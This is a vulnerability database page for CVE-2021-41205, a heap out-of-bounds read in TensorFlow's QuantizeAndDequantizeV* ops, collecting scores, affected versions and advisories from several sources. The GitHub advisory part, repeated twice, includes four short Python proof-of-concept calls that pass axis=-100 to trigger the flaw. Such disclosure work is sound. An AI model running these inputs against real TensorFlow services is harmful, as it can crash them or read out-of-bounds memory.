Every CVESearch/Get API key

CVE-2021-41205

Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

7.1 HighFix available

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
High

Exploit likelihood

0.15%Down 0.5 points since Nov 6, 2021
90%50%10%1%

What each source reports

CVE List Score used7.1

Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
CVE-2021-41205
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
EUVDEUVD-2021-04287.1

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
EUVD-2021-0428
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-49rx-x2rw-pc6f6.9

Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

Impact

The shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
    gradients=[1.0,1.0],
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV3(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    narrow_range=False,
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV2(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

In all of these cases, axis is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:

...
if (axis != -1) {
  ...
  c->Dim(input, axis);
  ...
}

Patches

We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Record
GHSA-49rx-x2rw-pc6f
CVSS 4.0
6.9 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
NVD7.1

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
CVE-2021-41205
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
CVSS 2.0
3.6 LowAV:L/AC:L/Au:N/C:P/I:N/A:P
Weakness
CWE-125
Updated
2026-11-02
OSV7.1

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
CVE-2021-41205
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVGHSA-49rx-x2rw-pc6f6.9

Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

Impact

The shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
    gradients=[1.0,1.0],
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV3(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    narrow_range=False,
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV2(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

In all of these cases, axis is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:

...
if (axis != -1) {
  ...
  c->Dim(input, axis);
  ...
}

Patches

We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Record
GHSA-49rx-x2rw-pc6f
CVSS 4.0
6.9 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
Show 5 moreShow less
OSVBIT-tensorflow-2021-41205No score

Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
BIT-tensorflow-2021-41205
Updated
2026-11-02
OSVopenSUSE-SU-2024:12116-1No score

tensorflow-lite-2.9.1-1.1 on GA media

These are all security issues fixed in the tensorflow-lite-2.9.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:12116-1
Updated
2026-11-02
OSVPYSEC-2021-398No score

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
PYSEC-2021-398
Updated
2026-11-02
OSVPYSEC-2021-615No score

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
PYSEC-2021-615
Updated
2026-11-02
OSVPYSEC-2021-813No score

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Record
PYSEC-2021-813
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
tensorflow
PyPI
2.6.0 up to 2.6.1
2.6.1
tensorflow
PyPI
2.5.0 up to 2.5.2
2.5.2
tensorflow
PyPI
before 2.4.4
2.4.4
tensorflow-cpu
PyPI
2.6.0 up to 2.6.1
2.6.1
tensorflow-cpu
PyPI
2.5.0 up to 2.5.2
2.5.2
tensorflow-cpu
PyPI
before 2.4.4
2.4.4
tensorflow-gpu
PyPI
2.6.0 up to 2.6.1
2.6.1
tensorflow-gpu
PyPI
2.5.0 up to 2.5.2
2.5.2
tensorflow-gpu
PyPI
before 2.4.4
2.4.4
tensorflow
Bitnami
before 2.4.4, 2.5.0 up to 2.5.2, 2.6.0 up to 2.6.1
2.4.42.5.22.6.1
Show 9 moreShow less
Affected packages
PackageAffectedFixed
tensorflow
PyPI
2.5.0 up to 2.5.2, plus listed versions
2.5.1
2.5.2
tensorflow
PyPI
before 2.4.4, plus listed versions
0.12.00.12.11.0.01.0.11.1.0
Show 45 moreShow less
1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4
2.4.4
tensorflow-cpu
PyPI
2.5.0 up to 2.5.2, plus listed versions
2.5.1
2.5.2
tensorflow-cpu
PyPI
before 2.4.4, plus listed versions
1.15.02.1.02.1.12.1.22.1.3
Show 14 moreShow less
2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.3
2.4.4
tensorflow-gpu
PyPI
2.5.0 up to 2.5.2, plus listed versions
2.5.1
2.5.2
tensorflow-gpu
PyPI
before 2.4.4, plus listed versions
0.12.00.12.11.0.01.0.11.1.0
Show 45 moreShow less
1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4
2.4.4
tensorflow
PyPI
before 2.4.4, 2.5.0 up to 2.5.2, 2.6.0 up to 2.6.1, 2.7.0rc0 up to 2.7.0, plus listed versions
0.12.00.12.11.0.01.0.11.1.0
Show 45 moreShow less
1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.0rc02.2.0rc12.2.0rc22.2.0rc32.2.0rc42.2.12.2.22.2.3
2.4.42.5.22.6.12.7.0
tensorflow-cpu
PyPI
before 2.4.4, 2.5.0 up to 2.5.2, 2.6.0 up to 2.6.1, 2.7.0rc0 up to 2.7.0, plus listed versions
1.15.02.1.02.1.12.1.22.1.3
Show 16 moreShow less
2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.5.12.7.0rc1
2.4.42.5.22.6.12.7.0
tensorflow-gpu
PyPI
before 2.4.4, 2.5.0 up to 2.5.2, 2.6.0 up to 2.6.1, 2.7.0rc0 up to 2.7.0, plus listed versions
0.12.00.12.11.0.01.0.11.1.0
Show 45 moreShow less
1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4
2.4.42.5.22.6.12.7.0

History

History
RecordedChangedSources
facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-41205 is a high vulnerability (CVSS 7.1) in Google Tensorflow, published November 5, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.15%, the 4th percentile. Fixed in tensorflow 2.6.1.

References

Show 165 moreShow less
This page doesn't list everything

Left out here: 33 versions. The JSON record has them.

MoveEnter Open